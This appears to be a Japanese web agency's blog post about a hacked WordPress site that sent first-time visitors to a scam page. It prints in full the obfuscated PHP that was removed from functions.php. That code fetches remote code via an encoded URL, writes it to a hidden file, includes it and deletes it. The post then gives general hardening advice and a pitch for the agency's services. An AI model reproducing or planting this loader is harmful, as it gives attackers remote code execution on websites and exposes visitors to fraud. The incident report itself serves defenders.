詐欺サイト誘導に注意!WordPressユーザーが知っておくべき対策方法
こんにちは。PEPの島です。
先日、お客様から「アクセスしようとすると詐欺サイトに誘導される」というご相談をいただきました。今までサイトをずっと弊社管理で運営してきて初めての事象でしたので、突然のことに驚きでした。
ご迷惑をおかけしたクライアントの方にはご迷惑をおかけしたこと、深くお詫び申し上げます。
調査をしたところ、具体的には、function.phpファイルが改ざんされ、外部の詐欺サイト(懸賞に当選関連)へ誘導されるというものでした。さらに厄介なのは、初回アクセス時にだけスパムサイトへ移動し、2回目以降のアクセスでは正常なサイトが表示されるという状態でした。
今回取り除いた内容
見覚えのない以下のようなinclude関連のコードがfunction.phpに埋め込まれていたので全部削除をした上、エックスサーバーに問い合わせ連絡をしました。
@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK0ubQgN4pBWZv2dPRfXN70cmCWIX7HVoQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
if (!function_exists('wp_cd')) {
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
$zeeta = "yup";
}
@include( 'template-config.php' );
詐欺サイト誘導の原因
このような問題が発生する主な原因は、WordPressのセキュリティを突かれるケースが多いです。
- 古いWordPressバージョン:脆弱性が多く、攻撃の対象となりやすい。
- 不要なプラグイン:セキュリティホールを含む可能性が高い。
- プラグインの未更新:最新のセキュリティパッチが適用されていない。
- 古いPHPバージョン:新しいセキュリティ機能が利用できない。
それぞれ解説をしていきます。
対策方法
詐欺サイト誘導を防ぐためには、以下の対策を徹底することが重要です。
1. WordPressのバージョンを最新にする
WordPressは定期的にセキュリティアップデートを行っています。
これらのアップデートには、既知の脆弱性を修正するパッチが含まれており、常に最新バージョンを使用することで、攻撃のリスクを大幅に減らすことができます。(今回最新verではありました)
2. 不要なプラグインを入れない
プラグインは便利な反面、セキュリティリスクを伴います。
特に使用していないプラグインはセキュリティホールとなる可能性があるため、不要なプラグインは削除することが重要です。※今回この部分が原因だった可能性がありました。
3. プラグインは全部最新にアップデートする(自動更新にする)
使用しているプラグインも常に最新の状態に保つことが必要です。プラグインの自動更新を設定しておくと、手動で更新する手間を省け、常に最新のセキュリティパッチが適用された状態を保てます。
4. PHPのバージョンは常に最新を維持する
PHP自体も定期的にアップデートされ、セキュリティ強化が図られています。最新バージョンのPHPを使用することで、より強固なセキュリティ対策を講じることができます。
5. サーバー設定から海外アクセスは不可設定にする
特に日本国内向けのサイトであれば、海外からのアクセスを制限することも有効です。これにより、不審なアクセスを防ぎ、セキュリティを強化することができます。(ここも原因として考えられました)
まとめ
WordPressを安全に運用するためには、定期的なアップデートとセキュリティ対策が欠かせません。定期的にサイトパトロールをしておりますが、これらのような事象は初めてでした。
もし上記のような症状が出られている会社様がいらっしゃいましたら対策を実施し、安全なサイト運営を心がけましょう。
セキュリティ対策は被害に遭ってからでは遅い
毎月管理費を支払うのをケチって自社管理にされるクライアント様もいらっしゃいますが、修正と検証だけでイカつい金額を払うことになって結果的に「毎月管理コストを支払うほうがよかった」なんてことも十分考えられます。
今回、弊社管理のサイトが上記のような症状が出てしまい、偉そうなことは言えませんが結果的に問い合わせをいただいてから数時間で復旧をしました。
弊社でサイト管理をご希望されている方も毎月1-2件はある状態ですので、ご興味のある法人のご担当者がいらっしゃいましたら是非お問合せください。